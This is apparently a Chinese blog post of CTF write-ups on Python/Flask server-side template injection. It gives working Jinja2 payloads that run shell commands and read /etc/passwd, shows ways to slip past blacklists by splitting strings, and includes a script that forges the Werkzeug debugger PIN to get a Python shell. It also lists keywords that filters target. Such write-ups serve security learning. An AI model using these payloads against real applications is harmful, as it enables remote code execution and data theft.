• buu之SSTI(Python Web)


    [BJDCTF 2nd]fake google

    一般 SSTI 中,访问 os 模块都是从 warnings.catch_warnings 模块入手,这里就是先寻找该模块,g.__class__.__mro__[1] 获取基类,然后寻找 warnings.catch_warnings 模块,g.__class__.__mro__[1].__subclasses__()[169]

    然后调用 __init__ 生成一个对象,从 __globals__ 中找可以执行命令或读取文件的模块或函数

    SSTI_2.png

    这里就直接使用 eval 函数读取 flag

    SSTI_3.png

    payload

    g.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__[%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27cat%20/flag%27).read()%22)
    

    [WesternCTF2018]shrine

    直接给了代码

    import flask 
    import os 
    
    app = flask.Flask(__name__) 
    app.config['FLAG'] = os.environ.pop('FLAG') 
    @app.route('/') 
    def index(): 
    	return open(__file__).read() 
    	
    @app.route('/shrine/') 
    def shrine(shrine): 
    	def safe_jinja(s): 
            s = s.replace('(', '').replace(')', '') 
    		blacklist = ['config', 'self'] 
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 
    
    	return flask.render_template_string(safe_jinja(shrine)) 
    
    if __name__ == '__main__': 
    	app.run(debug=True)
    

    访问 /shrine/ 是 404,访问 /shrine/{{7*7}} 可以发现存在 SSTI 漏洞,在代码中过滤了 (, ), config, self ,并且说明了 flagconfig 中,可以读取 app.config['FLAG'] 或者 os.environ.pop('FLAG')

    这里的黑名单就锁死了 __subclasses__() 以及 configself.__dict__

    在 flask 的官方文档中写了一个 url_for 函数,在它引用的内容中,有着 current_app 的全局变量,然后就可以直接读取 flag 了 url_for.__globals__['current_app'].config['FLAG']

    SSTI_4.png

    同样的,还有一个 get_flashed_messages 函数

    SSTI_5.png

    [GYCTF2020]FlaskApp

    进行解码测试的时候发现会报错,然后可以看到一部分代码

    SSTI_8.png

    这部分代码说明存在 SSTI,并且需要绕过 waf() 函数,写了个 fuzz 脚本,过滤结果如下

    b'request'
    b'__import__'
    b'eval'
    b'popen'
    b'system'
    b'flag'
    b'*'
    b'import'
    

    试着发现好像把命令执行的函数都给 ban 了,试着读取文件

    payload : {{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} 需要转为 base64

    SSTI_9.png

    这里可以用字符串拼接来绕过

    {{''.__class__.__base__.__subclasses__()[131].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("o'+'s").po'+'pen("cat /this_is_the_fl'+'ag.txt")').read()}}
    

    读取 app.py

    from flask import Flask,render_template_string
    from flask import render_template,request,flash,redirect,url_for
    from flask_wtf import FlaskForm
    from wtforms import StringField, SubmitField
    from wtforms.validators import DataRequired
    from flask_bootstrap import Bootstrap
    import base64
    
    app = Flask(__name__)
    app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
    bootstrap = Bootstrap(app)
    
    class NameForm(FlaskForm):
        text = StringField('BASE64加密',validators= [DataRequired()])
        submit = SubmitField('提交')
        
    class NameForm1(FlaskForm):
        text = StringField('BASE64解密',validators= [DataRequired()])
        submit = SubmitField('提交')
        
    def waf(str):
        black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
        for x in black_list :
            if x in str.lower() :
                return 1
    
    @app.route('/hint',methods=['GET'])
    def hint():
        txt = "失败乃成功之母!!"
        return render_template("hint.html",txt = txt)
        
    @app.route('/',methods=['POST','GET'])
    def encode():
        if request.values.get('text') :
            text = request.values.get("text")
            text_decode = base64.b64encode(text.encode())
            tmp = "结果 :{0}".format(str(text_decode.decode()))
            res = render_template_string(tmp) flash(tmp)
            return redirect(url_for('encode'))
        else :
            text = ""
            form = NameForm(text)
            return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")
            
    @app.route('/decode',methods=['POST','GET'])
    def decode():
        if request.values.get('text') :
            text = request.values.get("text")
            text_decode = base64.b64decode(text.encode())
            tmp = "结果 : {0}".format(text_decode.decode())
            if waf(tmp) :
                flash("no no no !!")
                return redirect(url_for('decode'))
            res = render_template_string(tmp) flash( res )
            return redirect(url_for('decode'))
        else :
            text = ""
            form = NameForm1(text)
            return render_template("index.html",form = form, method = "解密" , img = "flask1.png")
            
    @app.route('/<name>',methods=['GET'])
    def not_found(name):
        return render_template("404.html",name = name)
    
    if __name__ == '__main__':
        app.run(host="0.0.0.0", port=5000, debug=True) 
    

    预期解法是要通过通过获取 pin 码打开python shell

    生成PIN的关键值有如下几个

    • 服务器运行 flask 所登录的用户名。 通过 /etc/passwd 中可以猜测为 flaskweb 或者 root ,此处用的flaskweb
    • modname 一般不变就是 flask.app
    • getattr(app, "__name__", app.__class__.__name__) python 该值一般为 Flask,值一般不变
    • flask 库下 app.py 的绝对路径,通过报错信息就会泄露该值。本题为 /usr/local/lib/python3.7/site-packages/flask/app.py
    • 当前网络的 mac 地址的十进制数。通过文件 /sys/class/net/eth0/address 获取,本题为 02:42:ae:01:54:15
    • 最后一个就是机器的 id 对于非 docker 机每一个机器都会有自已唯一的 id ,linux的 id 一般存放在 /etc/machine-id/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows 的 id 获取跟 linux 也不同。对于 docker 机则读取 /proc/self/cgroup 本题为 201263bbeb51e7fc9fd059b0acb7769564dc66450fde4f8ad0a45bbb8a99e201

    接下来就是获取 PIN 值,计算PIN值的关键代码在 Libsite-packageswerkzeugdebug\__init__.py

    import hashlib
    from itertools import chain
    probably_public_bits = [
        'flaskweb',
        'flask.app',
        'Flask',
        '/usr/local/lib/python3.7/site-packages/flask/app.py',
    ]
    
    private_bits = [
        # mac 地址的十进制数
        '2485410419733',
        # 机器的 id 
        '201263bbeb51e7fc9fd059b0acb7769564dc66450fde4f8ad0a45bbb8a99e201'
    ]
    
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')
    
    cookie_name = '__wzd' + h.hexdigest()[:20]
    
    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
    
    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num
    
    print(rv)
    

    得到结果 676-092-706

    然后选择右侧 shell 图标

    SSTI_10.png

    输入 PIN 值

    SSTI_11.png

    SSTI_12.png

    这里执行 os.system('ls /') 返回为 0,是因为这个命令虽然执行了,但是没有获取执行的结果,即 os.system 仅仅在一个子终端运行系统命令,而不能获取命令执行后的返回信息

    [pasecactf_2019]flask_ssti

    给了一段代码

    def encode(line, key, key2):
        return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
    app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
    

    脚本跑一下发现过滤了 ._ 这里把 flag 写入到 config 中,直接读取 config 可以获取加密后的 flag

    <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'folow @osminogka.ann on instagram =)', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'flag': '-M7x10w@g?3Swc)x0eK];x00(DJx18Xx17xox04fx02XN[-Wz*x15hGZx1fG'}>
    

    由于异或算法,前面的 encode 脚本即为 decode 脚本

    def encode(line, key, key2):
        return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
    
    t = '-M7x10w@g?3Swc)x0eK];x00(DJx18Xx17xox04fx02XN[-Wz*x15hGZx1fG'
    s = encode(t, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
    
    print(s)
    

    另外,buu 上题目描述的代码有误。

    SSTI 关键词

    [
    ]
    (
    
    )
    {
    }
    _
    __
    .
    g
    ''
    ""
    request
    g
    namespace
    __dict__
    __class__
    __mro__
    __bases__
    __subclasses__
    __init__
    __globals__
    self
    config
    url_for
    get_flashed_messages
    lipsum
    current_app
    range
    session
    dict
    get_flashed_messages
    cycler
    joiner
    __builtins__
    __import__
    eval
    keys
    index
    values
    popen
    read
    _TemplateReference__context
    environ
    application
    _get_data_for_json
    JSONEncoder
    default
    system
    flag
    *
    ?
    import
    _IterationGuard
    catch_warnings
    _ModuleLock
    flag
    chr
    subprocess
    commands
    socket
    hex
    base64
    

    模块位置寻找

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ [].__class__.__base__.__subclasses__().index(c) }}{% endif %}{% endfor %}
    
  • 相关阅读:
    内置常量
    python100练
    python之禅
    Django
    pymsql入门
    jQuery事件
    数据库(索引)
    算法基础知识
    数据库(查询专项)
    数据库(所有人都坐下!这是基本操作!)
  • 原文地址:https://www.cnblogs.com/peri0d/p/12900725.html
Copyright © 2020-2023  润新知